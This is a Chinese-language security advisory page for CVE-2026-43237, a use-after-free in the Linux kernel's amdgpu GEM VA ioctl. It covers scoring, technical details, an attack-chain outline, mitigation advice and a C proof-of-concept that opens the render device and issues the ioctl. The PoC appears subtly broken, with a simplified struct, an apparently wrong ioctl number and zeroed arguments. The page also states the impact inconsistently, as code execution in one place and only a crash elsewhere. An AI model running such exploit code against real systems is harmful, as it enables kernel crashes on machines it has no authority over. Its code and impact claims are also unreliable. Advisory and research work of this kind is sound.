IPBUF安全漏洞报告
English
CVE-2026-43237 CVSS 7.8 高危

CVE-2026-43237: Linux内核amdgpu驱动释放后重用漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43237
漏洞类型
释放后重用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

释放后重用Linux KernelAMDGPU本地漏洞DoS内核漏洞

漏洞概述

CVE-2026-43237 是 Linux 内核 DRM/AMDGPU 驱动中的一个高危漏洞。该漏洞源于 `amdgpu_gem_va_ioctl` 函数在处理 VA 映射更新时,未能正确管理栅栏引用计数。由于过早选择栅栏且未安全处理引用,导致使用了过时或已释放的栅栏对象,进而引发引用计数下溢和释放后重用。攻击者利用该漏洞可导致内核崩溃或潜在的权限提升。

技术细节

该漏洞位于 Linux 内核的 `drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c` 文件中。旧版本的代码在 `amdgpu_gem_va_ioctl` 函数中,过早地获取了栅栏并将其导出到 VM 时间线同步对象,但随后未能正确平衡引用计数。这导致 `dma_fence` 对象被提前释放。当 GPU 调度器后续尝试通过 `dma_fence_signal_timestamp_locked` 发送信号时,访问了已释放的内存,引发 `refcount_t: underflow` 和页错误。攻击向量为本地(AV:L),攻击者无需用户交互即可通过发送恶意 IOCTL 触发该逻辑缺陷,导致系统崩溃或执行任意代码。

攻击链分析

STEP 1
获取访问权限
攻击者获得本地系统的低权限用户访问权限。
STEP 2
触发漏洞
攻击者调用 `amdgpu_gem_va_ioctl` 接口,并传递特定的参数以触发栅栏引用计数管理缺陷。
STEP 3
内存破坏
由于引用计数下溢,导致 `dma_fence` 对象被提前释放,但指针仍被使用。
STEP 4
系统崩溃
内核尝试访问已释放内存,触发 Kernel Panic 或导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43237: Linux Kernel amdgpu Use-After-Free * This PoC demonstrates the IOCTL call flow that triggers the vulnerability. * It requires a system with an AMDGPU device and a vulnerable kernel version. * Compile: gcc -o poc_amdgpu poc_amdgpu.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // AMDGPU DRM IOCTL definitions (simplified for PoC) #define DRM_AMDGPU_GEM_VA 0x00 #define DRM_IOCTL_AMDGPU_GEM_VA _IOWR(0x64, DRM_AMDGPU_GEM_VA, struct drm_amdgpu_gem_va) // Structure representing the arguments for the VA mapping IOCTL struct drm_amdgpu_gem_va { unsigned long long handle; unsigned long long operation; unsigned long long flags; unsigned long long va_address; unsigned long long offset_in_bo; unsigned long long map_size; }; int main() { int fd; struct drm_amdgpu_gem_va va_args; // Attempt to open the AMDGPU device (typically /dev/dri/renderD128) fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Attempting to trigger CVE-2026-43237...\n"); // Initialize arguments to simulate the condition causing refcount underflow memset(&va_args, 0, sizeof(va_args)); // Setting specific operation to trigger the vulnerable code path va_args.operation = 0; va_args.handle = 0; // The vulnerability occurs in the ioctl handling logic during fence management if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_VA, &va_args) < 0) { perror("Ioctl failed"); } else { printf("[+] Ioctl executed. Check kernel logs for panic/crash.\n"); } close(fd); return 0; }

影响范围

Linux Kernel < commit 0399b8416ecf
Linux Kernel < commit bd8150a1b337

防御指南

临时缓解措施
建议尽快升级 Linux 内核。若无法升级,请临时限制非管理员用户访问 `/dev/dri/` 设备,以防止本地用户利用该漏洞导致系统崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表